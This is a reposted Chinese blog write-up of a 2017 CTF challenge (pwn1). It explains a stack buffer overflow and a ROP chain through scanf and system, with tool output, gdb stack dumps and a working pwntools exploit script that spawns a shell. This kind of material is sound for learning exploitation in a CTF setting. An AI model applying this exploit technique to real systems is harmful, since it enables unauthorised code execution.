

【pwn学习】简单ROP练习之2017广东红帽杯pwn1

转载

iqiqiya 于 2018-05-01 14:01:37 发布 855 收藏

分类专栏: [我的pwn之路](#) [我的CTF进阶之路](#) 文章标签: [简单ROP练习之2017广东红帽杯pwn1](#) [简单ROP练习](#) [pwn学习](#)



[我的pwn之路](#) 同时被 2 个专栏收录

8 篇文章 0 订阅

订阅专栏

[我的CTF进阶之路](#)

108 篇文章 18 订阅

订阅专栏

转载自: <https://blog.csdn.net/kevin66654/article/details/71480319>

原标题: 2017广东红帽杯pwn1_writeup: 简单ROP

先来正能量一波: 作为一个一直没入门pwn的小菜鸟, 这一段时间一直被学弟按在地上摩擦很不爽很不爽

~~~~~

先给出几个学习链接:

[一步一步ROP: x86](#)

[一步一步ROP: x64](#)

论文:

Return-Oriented-Programming (ROP FTW) By Saif El-Sherei

拿到一个pwn题时, 第一反应是开了哪些保护: checksec检查一下

```
Arch:      i386-32-little
RELRO:     Partial RELRO
Stack:     No canary found
NX:        NX enabled
PIE:       No PIE (0x8048000)
```

NX enabled是开启了栈不可执行, 这时ROP就有应用空间了

ROP是要非常非常熟悉栈结构的: 首先构造缓冲区溢出, 然后控制eip就控制了程序流程, 然后一般的rop是这样构造的:

【Address of pop eax, ret gadget】

【data】

【Address of next gadget】

.....

我的理解是：ROP是构造了一条代码执行链的跳转过程，这个链调用执行了多个函数，一般以执行system（'/bin/sh'）为目的（简单题都是这样）

在控制函数跳转的时候，我们要关注的是两个问题：A。函数的参数怎么安排地方。B。这个函数执行完了之后，下个函数怎么去执行

这个题是控制了scanf+system

```
1 int __cdecl main()
2 {
3     int v1; // [sp+18h] [bp-28h]@1
4
5     puts("pwn test");
6     fflush(stdout);
7     isoc99_scanf("%s", &v1);
8     printf("%s", &v1);
9     return 1;
10 }
```

很明显的缓冲区溢出，gdb调试可以知道输入52个字符之后，可以控制程序流程

先给出思路：

我们利用scanf函数，首先执行函数scanf（"%s"，bss段），这样我们可以输入/bin/sh放到bss段里，然后再执行system（bss段），相当于执行了system（"/bin/sh"）

那么我们需要知道：scanf地址，system地址，bss段基址，%s格式化字符串的地址

ROP怎么用的呢？根据函数执行链来使用，先执行的是scanf的地址，下一条指令需要是我们的返回地址，即我们需要跳转到的地址：我们需要跳转到system的地址，也就是跳过system的两个参数，那么需要安排pop pop ret，system道理同样

那么ROP的布局如下：

【system\_addr】+【pop\_pop\_ret（在执行完一个函数之后，跳过参数去往下一个需要执行的函数的地方）】+【%s地址】+【bss段基址】（这里两个是scanf的参数，在执行完毕scanf后，这两个值会被pop掉，然后ret执行的是下一个地址，我们这里安排的是system的地址）+【system地址】+【'aaaa'】（任意四个字节作为返回地址）+【bss段基址】

然后就是调试过程，如何找到这些地址

（1）got和plt的区别：IDA里有两个system和两个scanf的值，用哪一个。涉及到linux延时绑定的原理：用plt

（2）bss段基址：readelf -S pwn1

There are 28 section headers, starting at offset 0x1174:

Section Headers:

| [Nr] | Name              | Type       | Addr     | Off    | Size   | ES | Flg | Lk | Inf | Al |
|------|-------------------|------------|----------|--------|--------|----|-----|----|-----|----|
| [ 0] |                   | NULL       | 00000000 | 000000 | 000000 | 00 |     | 0  | 0   | 0  |
| [ 1] | .interp           | PROGBITS   | 08048154 | 000154 | 000013 | 00 | A   | 0  | 0   | 1  |
| [ 2] | .note.ABI-tag     | NOTE       | 08048168 | 000168 | 000020 | 00 | A   | 0  | 0   | 4  |
| [ 3] | .note.gnu.build-i | NOTE       | 08048188 | 000188 | 000024 | 00 | A   | 0  | 0   | 4  |
| [ 4] | .gnu.hash         | GNU_HASH   | 080481ac | 0001ac | 000024 | 04 | A   | 5  | 0   | 4  |
| [ 5] | .dysym            | DYNSYM     | 080481d0 | 0001d0 | 0000a0 | 10 | A   | 6  | 1   | 4  |
| [ 6] | .dynstr           | STRTAB     | 08048270 | 000270 | 00007f | 00 | A   | 0  | 0   | 1  |
| [ 7] | .gnu.version      | VERSYM     | 080482f0 | 0002f0 | 000014 | 02 | A   | 5  | 0   | 2  |
| [ 8] | .gnu.version_r    | VERNEED    | 08048304 | 000304 | 000030 | 00 | A   | 6  | 1   | 4  |
| [ 9] | .rel.dyn          | REL        | 08048334 | 000334 | 000010 | 08 | A   | 5  | 0   | 4  |
| [10] | .rel.plt          | REL        | 08048344 | 000344 | 000038 | 08 | A   | 5  | 12  | 4  |
| [11] | .init             | PROGBITS   | 0804837c | 00037c | 000023 | 00 | AX  | 0  | 0   | 4  |
| [12] | .plt              | PROGBITS   | 080483a0 | 0003a0 | 000080 | 04 | AX  | 0  | 0   | 16 |
| [13] | .text             | PROGBITS   | 08048420 | 000420 | 0001e2 | 00 | AX  | 0  | 0   | 16 |
| [14] | .fini             | PROGBITS   | 08048604 | 000604 | 000014 | 00 | AX  | 0  | 0   | 4  |
| [15] | .rodata           | PROGBITS   | 08048618 | 000618 | 000014 | 00 | A   | 0  | 0   | 4  |
| [16] | .eh_frame_hdr     | PROGBITS   | 0804862c | 00062c | 000034 | 00 | A   | 0  | 0   | 4  |
| [17] | .eh_frame         | PROGBITS   | 08048660 | 000660 | 0000d0 | 00 | A   | 0  | 0   | 4  |
| [18] | .init_array       | INIT_ARRAY | 08049f08 | 000f08 | 000004 | 00 | WA  | 0  | 0   | 4  |
| [19] | .fini_array       | FINI_ARRAY | 08049f0c | 000f0c | 000004 | 00 | WA  | 0  | 0   | 4  |
| [20] | .jcr              | PROGBITS   | 08049f10 | 000f10 | 000004 | 00 | WA  | 0  | 0   | 4  |
| [21] | .dynamic          | DYNAMIC    | 08049f14 | 000f14 | 0000e8 | 08 | WA  | 6  | 0   | 4  |
| [22] | .got              | PROGBITS   | 08049ffc | 000ffc | 000004 | 04 | WA  | 0  | 0   | 4  |
| [23] | .got.plt          | PROGBITS   | 0804a000 | 001000 | 000028 | 04 | WA  | 0  | 0   | 4  |
| [24] | .data             | PROGBITS   | 0804a028 | 001028 | 000008 | 00 | WA  | 0  | 0   | 4  |
| [25] | .bss              | NOBITS     | 0804a040 | 001030 | 000008 | 00 | WA  | 0  | 0   | 32 |
| [26] | .comment          | PROGBITS   | 00000000 | 001030 | 00004d | 01 | MS  | 0  | 0   | 1  |
| [27] | .shstrtab         | STRTAB     | 00000000 | 00107d | 0000f6 | 00 |     | 0  | 0   | 1  |

Key to Flags:

W (write), A (alloc), X (execute), M (merge), S (strings)  
I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown)  
0 (extra OS processing required) o (OS specific), p (processor specific)

pop pop ret的地址我们需要用ROPgadget工具来找

ROPgadget --binary pwn1 --only "pop|pop|ret"

```
Gadgets information
=====
0x080485ef : pop ebp ; ret
0x080485ec : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0804839d : pop ebx ; ret
0x080485ee : pop edi ; pop ebp ; ret
0x080485ed : pop esi ; pop edi ; pop ebp ; ret
0x08048386 : ret
0x0804849e : ret 0xeac1
```

然后就把对应地址填上去就好了

关于如何调试：直接gdb调试程序不太好，很容易出现本机弄好了服务器上不对的情况

更好的方式是采取调试py代码，gdb挂载的方式：即在python代码中需要调试的地方写上gdb.attach(io)

ROP的调试主要是找到缓冲区溢出处的ret，然后查看栈内存的布局

```
-----code-----
0x8048576:  call  0x80483b0 <printf@plt>
0x804857b:  mov   eax,0x1
0x8048580:  leave
=> 0x8048581:  ret
0x8048582:  xchg  ax,ax
0x8048584:  xchg  ax,ax
0x8048586:  xchg  ax,ax
0x8048588:  xchg  ax,ax
-----stack-----
```

首先单步运行到程序缓冲区溢出的地方的ret指令处，下一步就是我们可以控制的流程，查看栈内存

```
gdb-peda$ x/20x $esp
0xff8c10ac:  0x08048410      0x080485ee      0x08048629      0x0804a040
0xff8c10bc:  0x080483e0      0x61616161      0x0804a040      0xff8c1000
0xff8c10cc:  0x0804a020      0x08048270      0xf775d000      0x00000000
0xff8c10dc:  0x00000000      0x00000000      0xab46ccc0      0x0a9288d1
0xff8c10ec:  0x00000000      0x00000000      0x00000000      0x00000001
```

ret的地方，前7个都是我写进去的，说明搞对了咯

py代码:

```
[python] view plain copy
1. | from pwn import *
2. |
3. | io = process('./pwn1')
4. | io.recvline()
5. |
6. | elf = ELF('./pwn1')
7. | plt_scanf = 0x08048410
8. | plt_system = 0x080483E0
9. | pop_pop_ret = 0x080485EE
10. | bss_addr = 0x0804A040
11. | format_s_addr = 0x08048629
12. |
13. | payload = p32(plt_scanf)
14. | payload += p32(pop_pop_ret)
15. | payload += p32(format_s_addr)
16. | payload += p32(bss_addr)
17. | payload += p32(plt_system)
18. | payload += "aaaa"
19. | payload += p32(bss_addr)
20. | gdb.attach(io)
21. | io.sendline("A" * 52 + payload)
22. | io.sendline('/bin/sh')
23. | io.interactive()
```



赢取流量/现金/CSDN周边激励大奖